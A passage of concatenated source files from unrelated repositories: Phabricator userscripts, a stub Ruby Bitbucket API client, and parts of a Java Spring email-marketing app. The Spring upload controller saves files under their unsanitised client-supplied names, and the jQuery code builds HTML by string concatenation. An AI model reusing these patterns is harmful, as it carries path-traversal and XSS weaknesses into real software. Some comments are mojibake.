contentNode.parentNode.removeChild(contentNode);
}
});
});
```
sticky-differential-headers.user.js
```// ==UserScript==
// @name Phabricator: Sticky Differential Headers
// @version 1.1.0
// @description Changes filenames in Differential into sticky headers.
// @match https://secure.phabricator.com/*
// @match https://phabricator.fb.com/*
// ==/UserScript==
function injectJS(callback) {
var script = document.createElement('script');
script.textContent = '(' + callback.toString() + ')(window);';
document.body.appendChild(script);
}
function injectStyles(styles) {
var style = document.createElement('style');
style.innerHTML = styles;
document.body.appendChild(style);
}
injectStyles(
'.fake-header {' +
'display: none;' +
'}' +
'.current-changeset .fake-header {' +
'display: block;' +
'height: 27px;' +
'}' +
'.current-changeset h1 {' +
'position: fixed;' +
'top: 0;' +
'background: #fff;' +
'padding: 5px 10px !important;' +
'box-shadow: 0 0 2px 2px rgba(0, 0, 0, 0.5);' +
'}'
);
injectJS(function(global) {
/* UTILITIES */
function $(selector, start) {
return (start || document).querySelector(selector);
}
function $$(selector, start) {
return JX.$A((start || document).querySelectorAll(selector));
}
/* INIT */
$$('.differential-changeset').forEach(function(changeSet) {
var h1 = $('h1', changeSet);
var fakeHeader = JX.$N('div', {className: 'fake-header'});
h1.parentNode.insertBefore(fakeHeader, h1);
});
var fixedChangeSet = null;
function shouldFixChangeSet(changeSet) {
return global.scrollY > changeSet.offsetTop - 10;
}
function fixChangeSet(changeSet) {
if (changeSet !== fixedChangeSet) {
unfixChangeSet();
fixedChangeSet = changeSet;
fixedChangeSet.className += ' current-changeset';
}
}
function unfixChangeSet() {
if (fixedChangeSet) {
JX.DOM.alterClass(fixedChangeSet, 'current-changeset', false);
fixedChangeSet = null;
}
}
global.addEventListener('scroll', function() {
var changeSets = $$('.differential-changeset');
// Iterate in reverse to find the last changeset that should be fixed.
var i = changeSets.length;
while (i--) {
var changeSet = changeSets[i];
if (shouldFixChangeSet(changeSet)) {
fixChangeSet(changeSet);
return;
}
}
// If we get here, no changesets should be fixed.
unfixChangeSet();
}, false);
});
```
commit-address.user.js
```// ==UserScript==
// @name Phabricator: Commit Addresses
// @version 0.1.0
// @description Adds diff commits (if any) to the address bar.
// @match https://secure.phabricator.com/*
// @match https://phabricator.fb.com/*
// ==/UserScript==
function injectJS(callback) {
var script = document.createElement('script');
script.textContent = '(' + callback.toString() + ')(window);';
document.body.appendChild(script);
}
injectJS(function(global) {
/* UTILITIES */
function $(selector, start) {
return (start || document).querySelector(selector);
}
function $$(selector, start) {
return JX.$A((start || document).querySelectorAll(selector));
}
/* INIT */
if (document.location.hash) {
return;
}
var commit;
var commitDT = $$('.phui-property-list-properties .phui-property-list-key')
.find(function(dt) {
return dt.textContent.includes('Commits');
});
if (commitDT) {
var commitLink = $('.phui-handle', commitDT.nextSibling);
if (commitLink) {
commit = commitLink.getAttribute('href').replace(/^\/+/, '');
}
}
if (commit) {
history.replaceState({}, '', '#' + commit);
}
});
```
mark-diffs-as-read.user.js
```// ==UserScript==
// @name Phabricator: Mark Diffs as Read
// @version 0.4.2
// @description Adds a "Mark as Read" toggle to diffs in Phabricator
// @match https://secure.phabricator.com/*
// @match https://phabricator.fb.com/*
// ==/UserScript==
function injectJS(callback) {
var script = document.createElement('script');
script.textContent = '(' + callback.toString() + ')(window);';
document.body.appendChild(script);
}
function injectStyles(styles) {
var style = document.createElement('style');
style.innerHTML = styles;
document.body.appendChild(style);
}
// Courtesy of BootstrapCDN.
// injectCSS('//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/css/bootstrap-combined.min.css');
var spriteURL = '//netdna.bootstrapcdn.com/twitter-bootstrap/2.3.0/img/glyphicons-halflings.png';
injectStyles(
'.glyph {' +
'display: inline-block;' +
'width: 14px;' +
'height: 14px;' +
'*margin-right: .3em;' +
'line-height: 14px;' +
'vertical-align: text-top;' +
'background-image: url("' + spriteURL + '");' +
'background-position: 14px 14px;' +
'background-repeat: no-repeat;' +
'margin-top: 1px;' +
'}' +
'.glyph.glyph-eye-close {' +
'background-position: -120px -120px;' +
'}' +
'.glyph.glyph-eye-open {' +
'background-position: -96px -120px;' +
'}' +
'.glyph.glyph-gray {' +
'opacity: 0.5;' +
'}'
);
injectStyles(
'.hidden-row {' +
'display: none;' +
'}' +
'.phui-object-item-icon-label .glyph.hide-icon {' +
'border: 1px solid transparent;' +
'cursor: pointer;' +
'margin: -2px 0 0 4px;' +
'vertical-align: text-top;' +
'}' +
'.hide-control {' +
'color: #74777D;' +
'line-height: 25px;' +
'position: absolute;' +
'right: 33px;' +
'}' +
'.hide-control input {' +
'display: inline-block;' +
'width: auto;' +
'}' +
'.show-hidden-rows .hidden-row {' +
'display: block;' +
'opacity: 0.5;' +
'}' +
'.show-hidden-rows .hide-icon {' +
'visibility: visible;' +
'}' +
'.all-hidden-view {' +
'border: 1px solid #c7ccd9;' +
'border-bottom: 1px solid #a1a6b0;' +
'background-color: #fff;' +
'color: #6b748c;' +
'margin: 4px 0 8px 0;' +
'}' +
'.all-hidden-view-body {' +
'color: #6b748c;' +
'padding: 12px;' +
'}' +
'.show-hidden-rows .all-hidden {' +
'display: none;' +
'}'
);
injectJS(function(global) {
/* UTILITIES */
function $(selector, start) {
return (start || document).querySelector(selector);
}
function $$(selector, start) {
return JX.$A((start || document).querySelectorAll(selector));
}
var ScriptStorage = global.ScriptStorage = {
subscribe: function(key, callback) {
var handleStorageChange = function(event) {
if (event.key === key) {
callback(event);
}
};
window.addEventListener('storage', handleStorageChange, false);
return {
unsubscribe: function() {
if (handleStorageChange) {
window.removeEventListener('storage', handleStorageChange, false);
handleStorageChange = null;
}
}
};
},
get: function(key) {
var item;
try {
item = JSON.parse(localStorage.getItem(key));
} catch (e) {}
return item && typeof item === 'object' ? item : {};
},
set: function(key, item) {
localStorage.setItem(key, JSON.stringify(item));
}
};
/* INIT */
(function() {
var submitControls = $(
'.aphront-list-filter-view .aphront-list-filter-reveal'
);
if (submitControls) {
var checkbox = JX.$N('input', {type: 'checkbox', sigil: 'toggle-hide'});
JX.DOM.prependContent(
submitControls,
JX.$N('div', {className: 'hide-control'}, [
JX.$N(
'label',
{htmlFor: JX.DOM.uniqID(checkbox)},
'Show Read Diffs '
),
checkbox
])
);
}
})();
function flushStorageToView() {
var hiddenDiffs = ScriptStorage.get('hiddendiffs');
/**
* List View
*/
$$('.phui-object-item-list-view').forEach(function(listView) {
var rows = JX.DOM.scry(listView, 'li');
var hasRows = false;
var isEmpty = true;
rows.filter(function(row) {
return row.parentNode === listView;
}).forEach(function(row, index) {
var diffIDNode = $$('.phui-object-item-objname', row)[0];
var timeNode = JX.DOM.scry(row, 'span', 'time-label')[0];
if (!timeNode) {
var labelNodes = $$('.phui-object-item-icon-label', row);
if (labelNodes.length) {
timeNode = labelNodes[labelNodes.length - 1];
JX.Stratcom.addSigil(timeNode, 'time-label');
}
}
if (!timeNode || !diffIDNode) {
return;
}
var cellID = diffIDNode.textContent;
var timeString = timeNode.textContent;
var isHidden =
hiddenDiffs[cellID] && hiddenDiffs[cellID] === timeString;
if (!isHidden) {
isEmpty = false;
}
hasRows = true;
var hideLinkNode =
JX.$N('i', {
className:
'hide-icon glyph glyph-gray ' + (
isHidden ? 'glyph-eye-close' : 'glyph-eye-open'
),
sigil: 'hide-link',
meta: {
isHidden: isHidden,
cellID: cellID,
time: timeString
}
});
var labelContainerNode = timeNode.parentNode;
var prevLink = JX.DOM.scry(labelContainerNode, 'i', 'hide-link')[0];
if (prevLink) {
JX.DOM.replace(prevLink, hideLinkNode);
} else {
var hideLabelNode = JX.$N(
'span',
{className: 'phui-object-item-icon-label'},
hideLinkNode
);
JX.DOM.appendContent(labelContainerNode, hideLabelNode);
}
JX.DOM.alterClass(row, 'hidden-row', isHidden);
});
var emptyNode = $$('.all-hidden', listView)[0];
if (isEmpty && hasRows) {
if (!emptyNode) {
emptyNode = JX.$N('li', {
className: 'all-hidden phabricatordefault-li'
}, [
JX.$N('div', {
className: 'all-hidden-view phabricatordefault-div'
},
JX.$N('div', {
className: 'all-hidden-view-body phabricatordefault-div'
}, [
'All revisions are marked as ',
JX.$N('i', {
className: 'hide-icon glyph glyph-gray glyph-eye-close'
}),
' read.'
])
)
]);
}
JX.DOM.appendContent(listView, emptyNode);
} else {
if (emptyNode) {
JX.DOM.remove(emptyNode);
}
}
});
/**
* Diff View
*/
$$('.phui-header-subheader').forEach(function(headerNode) {
var diffIDNode = $$('.phabricator-last-crumb .phabricator-crumb-name')[0];
var timeContainerNodes = $$('.phui-timeline-view .phui-timeline-extra');
var timeContainerNode = timeContainerNodes[timeContainerNodes.length - 1];
var timeNode = timeContainerNode.lastChild;
if (!timeNode || !diffIDNode) {
return;
}
var cellID = diffIDNode.textContent;
var timeString = timeNode.textContent;
var isHidden =
hiddenDiffs[cellID] && hiddenDiffs[cellID] === timeString;
var hideLinkNode =
JX.$N('a', {
className: 'mll policy-link phabricatordefault-a',
sigil: 'hide-link',
meta: {
isHidden: isHidden,
cellID: cellID,
time: timeString
}
}, [
JX.$N('i', {
className:
'msr hide-icon glyph glyph-gray ' + (
isHidden ? 'glyph-eye-close' : 'glyph-eye-open'
)
}),
isHidden ? 'Read' : 'Unread'
]);
var prevLink = JX.DOM.scry(headerNode, 'a', 'hide-link')[0];
if (prevLink) {
JX.DOM.replace(prevLink, hideLinkNode);
} else {
JX.DOM.appendContent(headerNode, hideLinkNode);
}
});
}
JX.Stratcom.listen('mousedown', 'hide-link', function(event) {
var hideLink = event.getNodeData('hide-link');
var cellID = hideLink.cellID;
var updatedTime = hideLink.time;
var hiddenDiffs = ScriptStorage.get('hiddendiffs');
if (hiddenDiffs[cellID] && hiddenDiffs[cellID] === updatedTime) {
delete hiddenDiffs[cellID];
} else {
hiddenDiffs[cellID] = updatedTime;
}
ScriptStorage.set('hiddendiffs', hiddenDiffs);
flushStorageToView();
event.prevent();
});
JX.Stratcom.listen('change', 'toggle-hide', function(event) {
var checkbox = event.getNode('toggle-hide');
JX.DOM.alterClass(document.body, 'show-hidden-rows', checkbox.checked);
});
if (JX.Tooltip) {
JX.Stratcom.listen(
['mouseover', 'mouseout', 'mousedown'],
'hide-link',
function(event) {
if (event.getType() === 'mouseover') {
var isHidden = event.getNodeData('hide-link').isHidden;
JX.Tooltip.show(
event.getNode('hide-link'),
1000,
'W',
isHidden ? 'Mark as Unread' : 'Mark as Read'
);
} else {
JX.Tooltip.hide();
}
}
);
}
flushStorageToView();
ScriptStorage.subscribe('hiddendiffs', flushStorageToView);
});
```
toggle-flow-errors.user.js
```// ==UserScript==
// @name Phabricator: Toggle Flow Errors
// @version 0.0.2
// @description Allows toggling Flow errors on Phabricator diffs.
// @match https://secure.phabricator.com/*
// @match https://phabricator.fb.com/*
// ==/UserScript==
function injectJS(callback) {
var script = document.createElement('script');
script.textContent = '(' + callback.toString() + ')(window);';
document.body.appendChild(script);
}
function injectStyles(styles) {
var style = document.createElement('style');
style.innerHTML = styles;
document.body.appendChild(style);
}
injectStyles(
'.hidden-flow-error {' +
'display: none' +
'}' +
'.toggle-flow {' +
'margin-right: 12px;' +
'}'
);
injectJS(function(global) {
/* UTILITIES */
function $(selector, start) {
return (start || document).querySelector(selector);
}
function $$(selector, start) {
return JX.$A((start || document).querySelectorAll(selector));
}
/* INIT */
(function() {
var updateHistoryFooter = $('.differential-update-history-footer');
if (updateHistoryFooter) {
var toggleLink = JX.$N(
'button',
{
type: 'button',
className: 'toggle-flow black phabricatordefault-button',
sigil: 'toggle-flow',
},
'Hide Flow Errors'
);
updateHistoryFooter.insertBefore(
toggleLink,
updateHistoryFooter.lastChild
);
}
})();
function forEachFlowError(callback) {
$$('tr.inline').forEach(function(inlineRow) {
var inlineLine = $('.differential-inline-comment-line', inlineRow);
if (inlineLine.textContent.indexOf('Flow error:')) {
callback(inlineRow);
}
});
}
var hideFlowErrors = false;
JX.Stratcom.listen('click', 'toggle-flow', function(event) {
hideFlowErrors = !hideFlowErrors;
var toggleLink = event.getNode('toggle-flow');
JX.DOM.alterClass(toggleLink, 'black', !hideFlowErrors);
JX.DOM.alterClass(toggleLink, 'grey', hideFlowErrors);
JX.DOM.setContent(toggleLink, hideFlowErrors ? 'Show Flow Errors' : 'Hide Flow Errors');
forEachFlowError(function(row) {
JX.DOM.alterClass(row, 'hidden-flow-error', hideFlowErrors);
});
event.prevent();
});
});
```
|
yunheli/bitbucket_api
|
yunheli/bitbucket_api
configuration.rb
```module Bitbucket
class Configuration
class << self
def property(key, options={})
@keys ||= []
@keys << key
class_eval do
attr_accessor key
unless options[:default].nil?
define_method key do
data = self.instance_variable_get("@#{key}")
data ||= options[:default]
data
end
end
end
end
attr_reader :keys
end
property :client_id
property :client_secret
property :redirect_uri
property :auto_pagination, default: true
property :scope
property :access_token
property :refresh_token
property :raw_data, default: false
property :per_page, default: 100
property :page, default: 1
property :auto_refresh, default: true
property :timeout, default: 30
end
end```
user.rb
```module Bitbucket
class User < Base
# access_token
def initialize(options={})
end
def show
end
def email
end
end
end```
constant.rb
```module Bitbucket
# Your code goes here...
module Contant
BASE_URL="https://api.bitbucket.org/2.0"
BASE_URL_1="https://api.bitbucket.org/1.0"
DOMAIN="https://bitbucket.org/"
end
end```
base.rb
```module Bitbucket
class Base
attr_accessor *Configuration.keys
def initialize(options={})
end
end
end```
bitbucket_api.rb
```require 'bitbucket/version'
require 'bitbucket/configuration'
module Bitbucket
class << self
def new(options)
end
def config
@config ||= Configuration.new
end
def configure
yield config if block_given?
end
end
end
```
request.rb
```module Bitbucket
module Util
module Request
def send_request(url, method, params = {}, timeout = 3)
request_args = {
:method => method,
:headers => header,
:timeout => timeout}
full_url = "#{url}"
if [:get, :delete].include?(method)
unless full_url.include?("?")
full_url += "?#{hash_to_query(params)}"
else
full_url += "&#{hash_to_query(params)}"
end
else
# set post body
request_args[:payload] = params
end
# set request url
request_args[:url] = full_url
# RestClient::Request.execute(request_args)
request(request_args)
end
end
# Convert hash to url query
def hash_to_query(params)
params_str = ''
return params_str if params.nil?
params.each do |k, v|
params_str += "#{k}=#{v}&"
end
params_str.chomp('&')
end
def request(options)
res, req, stat = nil, nil, nil
begin
res = ::RestClient::Request.execute(options)
rescue Exception => e
# ๅฆๆไธๆฏ่ฏทๆฑ้่ฏฏ็ดๆฅๆๅบๆ ๅ้่ฏฏ
unless e.respond_to?("response")
end
res = e.response
end
begin
Oj.load(res.body, symbol_keys: true)
rescue Exception => e
res.body
end
end
def header
{Authorization: "Bearer #{access_token}"}
end
end
end```
oauth.rb
```module Bitbucket
class Oauth < Base
def initialize(options={})
end
def authorize
end
def access_token(code)
end
def refresh_token(refresh_token)
end
end
end```
Gemfile
```source 'https://rubygems.org'
gem 'oj'
gem 'rest-client'
# Specify your gem's dependencies in bitbucket_api.gemspec
gemspec
```
|
yunjae830/project_ToMail
|
yunjae830/project_ToMail
TestDto.java
```package com.tmail.board.Dto;
import java.util.List;
public class TestDto {
private List<String> email;
private String title;
private String content;
public List<String> getEmail() {
return email;
}
public void setEmail(List<String> email) {
this.email = email;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
@Override
public String toString() {
return "testDto [email=" + email + ", title=" + title + ", content=" + content + "]";
}
}```
Address_GroupDto.java
```package com.tmail.board.Dto;
import java.util.Date;
import java.util.List;
public class Address_GroupDto {
private int group_seq;
private String group_title;
private Date group_date;
private int members_seq;
private int cnt;
public void setMembers_seq(int members_seq) {
this.members_seq = members_seq;
}
public int getGroup_seq() {
return group_seq;
}
public void setGroup_seq(int group_seq) {
this.group_seq = group_seq;
}
public String getGroup_title() {
return group_title;
}
public void setGroup_title(String group_title) {
this.group_title = group_title;
}
public Date getGroup_date() {
return group_date;
}
public void setGroup_date(Date group_date) {
this.group_date = group_date;
}
public int getMembers_seq() {
return members_seq;
}
public void setMember_seq(int member_seq) {
this.members_seq = member_seq;
}
public int getCnt() {
return cnt;
}
public void setCnt(int cnt) {
this.cnt = cnt;
}
@Override
public String toString() {
return "Address_GroupDto [group_seq=" + group_seq + ", group_title=" + group_title + ", group_date="
+ group_date + ", members_seq=" + members_seq + ", cnt=" + cnt + "]";
}
}```
MailboxDto.java
```package com.tmail.board.Dto;
import java.util.Date;
import java.util.List;
public class MailboxDto {
/*
CREATE TABLE TBL_MAILBOX(
BNO NUMBER,
TEMPLATE VARCHAR2(100),
EMAIL VARCHAR2(255),
TITLE VARCHAR2(255),
CONTENT VARCHAR2(2500),
REGDATE DATE DEFAULT SYSDATE
);
*/
private int bno;
private String email;
private String template;
private String title;
private String content;
private Date regdate;
private List<String> recipient;
private List<MailboxAttachDto> attachList;
public MailboxDto() {
super();
// TODO Auto-generated constructor stub
}
public MailboxDto(int bno, String template, String title, String content, Date regdate,
List<MailboxAttachDto> attachList) {
super();
this.bno = bno;
this.template = template;
this.title = title;
this.content = content;
this.regdate = regdate;
this.attachList = attachList;
}
public int getBno() {
return bno;
}
public void setBno(int bno) {
this.bno = bno;
}
public String getTemplate() {
return template;
}
public void setTemplate(String template) {
this.template = template;
}
public String getTitle() {
return title;
}
public void setTitle(String title) {
this.title = title;
}
public String getContent() {
return content;
}
public void setContent(String content) {
this.content = content;
}
public Date getRegdate() {
return regdate;
}
public void setRegdate(Date regdate) {
this.regdate = regdate;
}
public List<MailboxAttachDto> getAttachList() {
return attachList;
}
public void setAttachList(List<MailboxAttachDto> attachList) {
this.attachList = attachList;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public List<String> getRecipient() {
return recipient;
}
public void setRecipient(List<String> recipient) {
this.recipient = recipient;
}
}
```
template.js
```$(document).ready(function(){
var formObj = $("form");
$('button').on("click", function(e){
e.preventDefault();
var operation = $(this).data("oper");
if(operation === 'deleteMail') {
if(confirm("Are you sure you want to delete this email?")){
formObj.attr("action", "/board/mailbox/deleteMail");
} else {
return;
}
} else if(operation === 'getList') {
formObj.attr("action", "/board/mailbox/getList").attr("method", "get");
var pageNumTag = $("input[name='pageNum']").clone();
var amountTag = $("input[name='amount']").clone();
var mnoTag = $("input[name='mno']").clone();
formObj.empty();
formObj.append(pageNumTag);
formObj.append(amountTag);
formObj.append(mnoTag)
}
formObj.submit();
});
$("#previewBtn").on("click", function(preview, callback, error){
console.log("preview btn clicked")
var formObj = $("form");
var bno = "<c:out value='${mail.bno}'/>";
var mno = "<c:out value='${mail.mno}'/>";
var table = $("table");
var preview = {
title1: table.find("input[name='title1']").val(),
title2: table.find("textarea[name='title2']").val(),
text1: table.find("textarea[name='text1']").val(),
text2: table.find("textarea[name='text2']").val(),
text3: table.find("textarea[name='text3']").val(),
link1: table.find("input[name='link1']").val(),
link2: table.find("input[name='link2']").val(),
link3: table.find("input[name='link3']").val()
}
$.ajax({
type: 'put',
url:"/board/mailbox/preview?bno="+bno+"&mno="+mno,
data: JSON.stringify(preview),
contentType: "application/json; charset=utf-8",
success: function(result, status, xhr){
alert("updated!");
console.log(result);
showPreview();
if(callback){
callback(result);
}
},
error: function(xhr, status, er){
if(error){
error(er);
}
}
});
});
var table = $("table");
function showPreview(){
var bno = "<c:out value='${mail.bno}'/>";
var mno = "<c:out value='${mail.mno}'/>";
var title1 = $("input[name='title1']").val();
var title2 = $("input[name='title2'").val();
var text1 = $("textarea[name='text1']").val();
var text2 = $("textarea[name='text2']").val();
var text3 = $("textarea[name='text3']").val();
var link1 = $("input[name='link1']").val();
var link2 = $("input[name='link2']").val();
var link3 = $("input[name='link3']").val();
$.getJSON("/board/mailbox/showPreview",{bno:bno, mno:mno},
function(){
console.log("showPreview");
$(".title1").text(title1);
$(".title2").text(title2);
$(".text1").text(text1);
$(".text2").text(text2);
$(".text3").text(text3);
$(".link1").attr('href', link1);
$(".link2").attr('href', link2);
$(".link3").attr('href', link3);
});
};
});```
fileupload.js
```$(document).ready(function(){
var formObj = $("form");
$('button').on("click", function(e){
e.preventDefault();
var operation = $(this).data("oper");
if(operation === 'deleteMail') {
if(confirm("Are you sure you want to delete this email?")){
formObj.attr("action", "/board/mailbox/deleteMail");
} else {
return;
}
} else if(operation === 'getList') {
formObj.attr("action", "/board/mailbox/getList").attr("method", "get");
var pageNumTag = $("input[name='pageNum']").clone();
var amountTag = $("input[name='amount']").clone();
var mnoTag = $("input[name='mno']").clone();
formObj.empty();
formObj.append(pageNumTag);
formObj.append(amountTag);
formObj.append(mnoTag)
} else if(operation === 'updateMail') {
console.log("submit clicked.");
var str ="";
$(".uploadResult ul li").each(function(i, obj){
var jobj = $(obj);
console.dir(jobj);
str += "<input type='hidden' name='attachList["+i+"].fileName' value='"+jobj.data("filename")+"'>";
str += "<input type='hidden' name='attachList["+i+"].uuid' value='"+jobj.data("uuid")+"'>";
str += "<input type='hidden' name='attachList["+i+"].uploadPath' value='"+jobj.data("path")+"'>";
str += "<input type='hidden' name='attachList["+i+"].fileType' value='"+jobj.data("type")+"'>";
});
formObj.append(str).submit();
}
formObj.submit();
});
(function(){
var bno = "<c:out value='${mail.bno}'/>";
$.getJSON("/board/mailbox/getAttachList", {bno: bno}, function(arr){
console.log(arr);
var str ="";
$(arr).each(function(i, attach){
//image type
if(attach.fileType){
var fileCallPath = encodeURIComponent(attach.uploadPath+"/s_"+attach.uuid+"_"+attach.fileName);
str += "<li data-path='"+attach.uploadPath+"' data-uuid='"+attach.uuid+"' data-filename='"+attach.fileName+"' data-type='"+attach.fileType+"'>";
str += "<div>";
str += "<span>"+attach.fileName+"</span>";
str += "<button type='button' data-file=\'"+fileCallPath+"\' data-type='image'";
str += " class='btn btn-sm'> x </button><br/>";
str += "<img src='/board/upload/display?fileName="+fileCallPath+"'>";
str += "</div>";
str += "</li>";
} else {
str += "<li data-path='"+attach.uploadPath+"' data-uuid='"+attach.uuid+"' data-filename='"+attach.fileName+"' data-type='"+attach.fileType+"'>";
str += "<div>";
str += "<span>"+attach.fileName+"</span>";
str += "<button type='button' data-file=\'"+fileCallPath+"\' data-type='file'";
str += " class='btn btn-sm'> x </button><br/>";
str += "<img src='/board/resources/attach.jpg'/>";
str += "</div>";
str += "</li>";
}
}); // end each
$(".uploadResult ul").html(str);
}); // end getJSON
})(); // end function()
$(".uploadResult").on("click", "button", function(e){
console.log("delete file");
if(confirm("Are you sure you want to delete this file?")){
var targetLi = $(this).closest("li");
targetLi.remove();
}
}); // end uploadResutl onclick
var regex = new RegExp("(.*?)\.(exe|sh|zip|alz)$");
var maxSize = 5242880;
function checkExtension(fileName, fileSize){
if(fileSize >= maxSize){
alert("too big");
return false;
}
if(regex.test(fileName)){
alert("invalid file name");
return false
}
return true;
} // end checkExtension();
$("input[type='file']").change(function(e){
var formData = new FormData();
var inputFile = $("input[name='uploadFile']");
var files = inputFile[0].files;
console.log(files);
for(var i = 0; i < files.length; i++){
if(!checkExtension(files[i].name, files[i].size)){
return false;
}
formData.append("uploadFile", files[i]);
}
$.ajax({
url:'/board/upload/uploadAjaxAction',
processData: false,
contentType: false,
data: formData,
type: 'POST',
dataType: 'json',
success: function(result){
alert("uploaded!");
console.log(result);
showUploadResult(result);
}
}); // end ajax
}); // end input[name='file']
$("#previewBtn").on("click", function(preview, callback, error){
console.log("preview btn clicked")
var formObj = $("form");
var bno = "<c:out value='${mail.bno}'/>";
var mno = "<c:out value='${mail.mno}'/>";
var table = $("table");
var preview = {
title1: table.find("input[name='title1']").val(),
title2: table.find("textarea[name='title2']").val(),
text1: table.find("textarea[name='text1']").val(),
text2: table.find("textarea[name='text2']").val(),
text3: table.find("textarea[name='text3']").val(),
link1: table.find("input[name='link1']").val(),
link2: table.find("input[name='link2']").val(),
link3: table.find("input[name='link3']").val()
}
$.ajax({
type: 'put',
url:"/board/mailbox/preview?bno="+bno+"&mno="+mno,
data: JSON.stringify(preview),
contentType: "application/json; charset=utf-8",
success: function(result, status, xhr){
alert("updated!");
console.log(result);
showPreview();
if(callback){
callback(result);
}
},
error: function(xhr, status, er){
if(error){
error(er);
}
}
});
});
function showUploadResult(uploadResultArr){
if(!uploadResultArr || uploadResultArr.length == 0) {
return;
}
var uploadUL = $(".uploadResult ul");
var str = "";
$(uploadResultArr).each(function(i, obj){
//img type
if(obj.image){
var fileCallPath = encodeURIComponent(obj.uploadPath + "/s_" +
obj.uuid + "_" + obj.fileName);
str += "<li data-path='"+obj.uploadPath+"'";
str += " data-uuid='"+obj.uuid+"'";
str += " data-filename='"+obj.fileName+"'";
str += " data-type='"+obj.image+"'><div>";
str += "<span>"+obj.fileName+"</span>";
str += "<button type='button' data-file=\'"+fileCallPath+"\' data-type='image'";
str += " class='btn btn-sm'> x </button><br/>";
str += "<img src='/board/upload/display?fileName="+fileCallPath+"'>";
str += "</div>";
str += "</li>";
str += "<input type='hidden' name='img1' value='<img src=\'/board/upload/display?fileName="+fileCallPath+"'/>";
} else {
var fileCallPath = encodeURIComponent(obj.uploadPath +"/"+ obj.uuid+"_"+ obj.fileName);
var fileLink = fileCallPath.replace(new RegExp(/\\/g), "/");
str += "<li data-path='"+obj.uploadPath+"' data-uuid='"+obj.uuid+"' data-filename='"+obj.fileName+"'";
str += " data-type='"+obj.image+"'><div>";
str += "<span>"+obj.fileName+"</span>";
str += "<button type='button' data-file=\'"+fileCallPath+"\' data-type='file'";
str += " class='btn btn-sm'> x </button><br/>";
str += "<img src='/board/resources/attach.jpg'></a>";
str += "</div>";
str += "</li>";
}
}); // end $(uploadResultArr)
uploadUL.append(str);
} // end showUploadResult()
var table = $("table");
function showPreview(){
var bno = "<c:out value='${mail.bno}'/>";
var mno = "<c:out value='${mail.mno}'/>";
var title1 = $("input[name='title1']").val();
var title2 = $("input[name='title2'").val();
var text1 = $("textarea[name='text1']").val();
var text2 = $("textarea[name='text2']").val();
var text3 = $("textarea[name='text3']").val();
var link1 = $("input[name='link1']").val();
var link2 = $("input[name='link2']").val();
var link3 = $("input[name='link3']").val();
$.getJSON("/board/mailbox/showPreview",{bno:bno, mno:mno},
function(){
console.log("showPreview");
$(".title1").text(title1);
$(".title2").text(title2);
$(".text1").text(text1);
$(".text2").text(text2);
$(".text3").text(text3);
$(".link1").attr('href', link1);
$(".link2").attr('href', link2);
$(".link3").attr('href', link3);
});
};
});```
AddressController.java
```package com.tmail.board.controller;
import java.io.File;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.PrintWriter;
import java.util.ArrayList;
import java.util.List;
import javax.mail.MessagingException;
import javax.mail.internet.InternetAddress;
import javax.mail.internet.MimeMessage;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.mail.javamail.JavaMailSender;
import org.springframework.mail.javamail.MimeMessageHelper;
import org.springframework.stereotype.Controller;
import org.springframework.ui.Model;
import org.springframework.util.FileCopyUtils;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.ResponseBody;
import org.springframework.web.multipart.MultipartFile;
import org.springframework.web.multipart.MultipartHttpServletRequest;
import org.springframework.web.util.WebUtils;
import com.tmail.board.Biz.AddressBiz;
import com.tmail.board.Biz.HelpBiz;
import com.tmail.board.Biz.MailboxBiz;
import com.tmail.board.Biz.RegisterBiz;
import com.tmail.board.Dto.AddressDto;
import com.tmail.board.Dto.Address_GroupDto;
import com.tmail.board.Dto.InsertResultDto;
import com.tmail.board.Dto.MailboxDto;
import com.tmail.board.Dto.TestDto;
import com.tmail.board.excel.ReadXLSX;
import com.tmail.board.sha256.SHA256;
@Controller
public class AddressController {
@Autowired
private JavaMailSender mailSender;
@Autowired
private RegisterBiz reg_biz;
@Autowired
private AddressBiz biz;
@Autowired
private ReadXLSX ex_red;
@Autowired
private HelpBiz help_biz;
@Autowired
private MailboxBiz mailboxBiz;
@RequestMapping(value = "myaddr_Form.do")
public String myaddr_Form(Model model, HttpSession session, int group_seq, AddressDto dto) {
String email = (String) session.getAttribute("group_email");
int members_seq = reg_biz.member_seq_return(email);
dto.setMembers_seq(members_seq);
dto.setGroup_seq(group_seq);
model.addAttribute("group_seq", group_seq);
model.addAttribute("members_seq", members_seq);
model.addAttribute("list", biz.selectList(dto));
model.addAttribute("email", email);
return "guest_addr_insert";
}
@RequestMapping(value="myaddr_insert_file.do", method=RequestMethod.POST)
public String myaddr_file(Model model, AddressDto dto, HttpSession session, int members_seq, HttpServletResponse response, MultipartHttpServletRequest multi) throws IOException {
InsertResultDto result = new InsertResultDto();
InputStream inputStream = null;
OutputStream outputStream = null;
if(multi.getFile("files").getSize()>0) {
// ํ์ผ๊ฒฝ๋ก
String path = "";
try {
path = WebUtils.getRealPath(multi.getSession().getServletContext(), "/storage");
} catch (FileNotFoundException e1) {
e1.printStackTrace();
}
System.out.println(path);
// ํ์ผ๋ค์ Listํ์์ผ๋ก ๋ณด๊ด
List<MultipartFile> files = multi.getFiles("files");
File file = new File(path);
// ํ์ผ์ด ์๋ค๋ฉด ๋๋ ํ ๋ฆฌ๋ฅผ ์์ฑ
if (file.exists() == false) {
file.mkdirs();
}
File filename = null;
for (int i = 0; i < files.size(); i++) {
inputStream = files.get(i).getInputStream();
System.out.println(files.get(i).getOriginalFilename() + " ์
๋ก๋");
filename = new File(path + "/" + files.get(i).getOriginalFilename());
if (!filename.exists()) {
filename.createNewFile();
}
outputStream = new FileOutputStream(filename);
int read = 0;
byte[] b = new byte[(int) files.get(i).getSize()];
while ((read = inputStream.read(b)) != -1) {
outputStream.write(b, 0, read);
}
System.out.println(path + "\\" + files.get(i).getOriginalFilename());
ex_red.ReadXLSX_Read(path + "\\" + files.get(i).getOriginalFilename(), members_seq, dto.getGroup_seq());
}
System.out.println(result.getSum()+"-------------------------๋ฆฌ์ ํธ");
